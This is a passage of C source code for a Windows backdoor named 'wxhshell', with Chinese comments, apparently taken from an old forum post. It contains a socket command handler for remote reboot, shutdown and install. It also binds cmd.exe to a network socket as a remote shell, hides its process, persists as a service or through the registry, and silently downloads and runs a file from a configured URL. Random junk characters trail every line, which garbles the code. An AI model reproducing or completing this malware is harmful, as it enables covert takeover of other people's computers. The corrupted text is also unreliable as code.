    switch(cmd[0]) { Da 7(jA+  
  I$.lFQ%(  
  // 帮助 GKFRZWXdT  
  case '?': { 7K.75%}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); nms[No?  
    break; nod&^%O"  
  } rNk'W,FU  
  // 安装 #r#[&b  
  case 'i': { ]jD\4\M}  
    if(Install()) 71@ eJQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .jD!+wv{9  
    else R%szN.cI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  oYN"L  
    break; _\4#I(  
    } :2KHiT5  
  // 卸载 =H)]HxEEM  
  case 'r': { d'96$e o~  
    if(Uninstall()) /''=V.-N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Led\S;pl  
    else UE^o}Eyg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =Q<VU/  
    break; aM $2lR])J  
    } ')v,<{  
  // 显示 wxhshell 所在路径 H[hJUR+#  
  case 'p': { %"v:x?d$$o  
    char svExeFile[MAX_PATH]; Gl>\p  
    strcpy(svExeFile,"\n\r"); Ibz9j uY  
      strcat(svExeFile,ExeFile); yo[Sh6r/9b  
        send(wsh,svExeFile,strlen(svExeFile),0); |^-D&C(Eu  
    break; 7nT|yL?  
    } `+n0a@BVB  
  // 重启 &j:e<{@  
  case 'b': { :O413#8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Pp } Z"  
    if(Boot(REBOOT)) 9;LjM ~Ct  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _fS\p|W(E  
    else { B/l^=u+-  
    closesocket(wsh); 26/<\{q~  
    ExitThread(0); a"-uJn  
    } XnP?hw%  
    break; Z5v_- +K  
    } bdWdvd:  
  // 关机 RK.lz VaY  
  case 'd': { iz=cjmV?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); '/<\X{l8  
    if(Boot(SHUTDOWN)) "a2|WKpD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4vbGXb}!  
    else { lOcFF0'  
    closesocket(wsh); 8?82 p  
    ExitThread(0); HK :K~h  
    } lPR^~&/  
    break; KS8@A/f  
    } i@+m<YS:2>  
  // 获取shell )tBz=hy#  
  case 's': { </;e$fh`  
    CmdShell(wsh); .hH_1Mo8  
    closesocket(wsh); l1T`[2  
    ExitThread(0); Y0g]-B  
    break; oIO@#   
  } b\JU%89  
  // 退出 F?'  
  case 'x': { .bY>++CAPA  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); vQCb?+X&  
    CloseIt(wsh); I8!>7`L  
    break; u)Kiwa  
    } D4c'6WGb@  
  // 离开 f~W+Rt7o  
  case 'q': { 9_wDh0b~p  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); O^!ds  
    closesocket(wsh); SLEOc OAmD  
    WSACleanup(); Evj%$7H1L1  
    exit(1); SAq .W"ri  
    break; 8TpYt)]S  
        } ((`\i=-o5  
  } Y\WQ0'y  
  } 1Z ~C3)T=  
?jz\[0)s  
  // 提示信息 WD\Yx~o  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m4~ |z  
} '1DY5`i{  
  } Ml c_w19C9  
jywS<9c@  
  return; 3!F^ vZ.  
} G~y:ZEnN[  
OB9E30  
// shell模块句柄 &S xF"pYV  
int CmdShell(SOCKET sock) Zq&'a_  
{ K 3\a~_0  
STARTUPINFO si; +%TgX&a  
ZeroMemory(&si,sizeof(si)); _'w:Sx?d7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cEa8l~GC<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Fy\q>(v.  
PROCESS_INFORMATION ProcessInfo; n@tt.n!{l  
char cmdline[]="cmd"; xGyl7$J  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *bo| F%NAz  
  return 0; kttJTP77t  
} {Y5@SI yE  
B`)sc ~u  
// 自身启动模式 !2Ompcr1  
int StartFromService(void) 1\,k^Je7  
{ Gjeb)Y6N  
typedef struct g"" 1\rc=  
{ MJX4;nbl  
  DWORD ExitStatus; ??aO3Vm{  
  DWORD PebBaseAddress; -3yK>\y=|  
  DWORD AffinityMask; 5ph CEKt;  
  DWORD BasePriority; rZwSo]gp  
  ULONG UniqueProcessId; (z8ZCyq7r[  
  ULONG InheritedFromUniqueProcessId; vcj(=\ e8v  
}   PROCESS_BASIC_INFORMATION; !i8)si_  
qN1fWU#$  
PROCNTQSIP NtQueryInformationProcess; rD21:1s  
ShL!7y*rT{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F(.`@OO  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; oUsfO-dET^  
7:F0?l*  
  HANDLE             hProcess; ##''d||u  
  PROCESS_BASIC_INFORMATION pbi; ZRYlm$C  
YGPb8!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Zgh~7Z/  
  if(NULL == hInst ) return 0; " 4#&tNQ  
.n+ ;&5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); w=?nD6Xhz  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); kwaZn~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3| w$gG;Y  
B.4e4%BBS  
  if (!NtQueryInformationProcess) return 0; I}u\ov_Su  
0`.&U^dG  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /-!Fr:Ox>  
  if(!hProcess) return 0; O)V;na  
&8f/6dq  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; h-"q <eY"  
*=B<S/0  
  CloseHandle(hProcess); e.L&A|  
4Ia'Yr  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,<+:xl   
if(hProcess==NULL) return 0; 3pML+Y|ij  
p=UW ^95  
HMODULE hMod; N`7OJ)l  
char procName[255]; e;~(7/1  
unsigned long cbNeeded; c.1gQy$}|  
JE{ cZ<NNH  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2hNl_P~z1u  
jFg19C{=X  
  CloseHandle(hProcess); WFc4(Kl  
>{(c\oMD  
if(strstr(procName,"services")) return 1; // 以服务启动 k(tB+k!vH\  
!21G $ [H  
  return 0; // 注册表启动 UVLS?1ra  
} CLZ j=J2  
>0:3CpO*  
// 主模块 O[$X36z  
int StartWxhshell(LPSTR lpCmdLine) @i'D)6sC  
{ 2{WZ?H93a  
  SOCKET wsl; !XjZt  
BOOL val=TRUE; uPcx6X3]  
  int port=0; :9L}jz  
  struct sockaddr_in door; #t1? *4.p  
jTqJ(M}L  
  if(wscfg.ws_autoins) Install(); EP;ts  
c{to9Lk.#  
port=atoi(lpCmdLine); Cp!9 "J:  
:(OV{ u  
if(port<=0) port=wscfg.ws_port; VJ'-"8tY&  
&FRf-6/  
  WSADATA data; }8l+Jd3"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; E`HA0/  
c"k nzB vy  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /|NyO+Io  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); n(z$u)Y  
  door.sin_family = AF_INET; XFs7kTY  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  :Kyr}-  
  door.sin_port = htons(port); _}j>  
=>>Dnp  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { f#AuZ]h  
closesocket(wsl); lMW6D0^  
return 1; 3ONWu  
} i@P= *lLD  
"Ltp]nCR  
  if(listen(wsl,2) == INVALID_SOCKET) { &<#1G u_  
closesocket(wsl); ,0HID:&  
return 1; jX'pUO  
} :#sBNy  
  Wxhshell(wsl); %#4;'\'5  
  WSACleanup(); ;j;U9-oh  
 WSeiW  
return 0; 3Jd a:  
&q4~WRnzJk  
} H/W&a2R^P  
.AX%6+o  
// 以NT服务方式启动 cuG;1,?b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) S+6YD0  
{ 0V8G9Gj  
DWORD   status = 0; Q$'\_zV  
  DWORD   specificError = 0xfffffff; ?vD<_5K; I  
d_:tiHw$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *S <I!7Q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >~_>.R+{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /;Cx|\  
  serviceStatus.dwWin32ExitCode     = 0; N{RHbSa(  
  serviceStatus.dwServiceSpecificExitCode = 0; nWYfe-zQxg  
  serviceStatus.dwCheckPoint       = 0; FB+nN5D/  
  serviceStatus.dwWaitHint       = 0; nf _(_O=  
v(sS$2J|}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?JRfhJ:j  
  if (hServiceStatusHandle==0) return; 4u|6^ wu.I  
>4>. Ycp  
status = GetLastError(); [KO\!u|?YS  
  if (status!=NO_ERROR) |%X_<Cpk  
{ ss|n7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; xXV15%&  
    serviceStatus.dwCheckPoint       = 0; b0%#=KMi  
    serviceStatus.dwWaitHint       = 0; hI<$lEB  
    serviceStatus.dwWin32ExitCode     = status; T8T,G4Q  
    serviceStatus.dwServiceSpecificExitCode = specificError; >i1wB!gc8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); A}pe>ja   
    return; [daR)C  
  } LWM& k#i  
86&r;c:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `i!-@WN"  
  serviceStatus.dwCheckPoint       = 0; Q3)[ *61e  
  serviceStatus.dwWaitHint       = 0; E9 #o0Di  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1U~'8=-   
} hoPh#? G  
$:D L+E-}  
// 处理NT服务事件,比如:启动、停止 0B`rTLwB  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _#P5j#  
{ eBECY(QMQ  
switch(fdwControl) g2r8J0v  
{ 1*@Q~f:Uk  
case SERVICE_CONTROL_STOP: G in  
  serviceStatus.dwWin32ExitCode = 0; \=W t{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {2|sk9?W  
  serviceStatus.dwCheckPoint   = 0; lQ.3_{"s  
  serviceStatus.dwWaitHint     = 0; /KJWo0zo  
  { Tc;BE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); eLN(NSPoS  
  } xdsF! Zb  
  return; rPW 9lG  
case SERVICE_CONTROL_PAUSE: cz>`$Zz  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "Jyb?5  
  break; 7.^1I7O  
case SERVICE_CONTROL_CONTINUE: <l9qhqHv&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =)6|lz^  
  break; = 6w(9O  
case SERVICE_CONTROL_INTERROGATE: t9 id^  
  break; {K=[Fu=  
}; C%Op[H3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); DGAg#jh  
} ORV'dr  
q*>|EJR^Rw  
// 标准应用程序主函数 A56aOI=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) xaSiG  
{ E[_-s  
eY$Q}BcW  
// 获取操作系统版本 0ipYXbC  
OsIsNt=GetOsVer(); <_Po/a!c3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); f=MR.\  
/0F <GBQ"v  
  // 从命令行安装 vi.q]$ohbV  
  if(strpbrk(lpCmdLine,"iI")) Install(); }5;3c%  
J&b&*3   
  // 下载执行文件 Zf`dd T  
if(wscfg.ws_downexe) { j~9,Ct  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0 .t1p(x;  
  WinExec(wscfg.ws_filenam,SW_HIDE); W&k2z,|  
} x(88Y7o.t  
2! bE|  
if(!OsIsNt) { fm%-wUgj  
// 如果时win9x,隐藏进程并且设置为注册表启动 Op<|Oz$Q|l  
HideProc(); myY@Wp  
StartWxhshell(lpCmdLine); [@t 6,g  
} 3WdANR  
else .mS'c#~5Y  
  if(StartFromService()) #T)gKp  
  // 以服务方式启动 i_;]UvP  
  StartServiceCtrlDispatcher(DispatchTable); *8QGv6*vQ  
else 8[z& g%u  
  // 普通方式启动 9ev " BO  
  StartWxhshell(lpCmdLine); QVrMrm+vRv  
MU&P+Wr  
return 0; F_Mi/pB^`9  
}
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只看该作者 1 发表于: 2006-10-10
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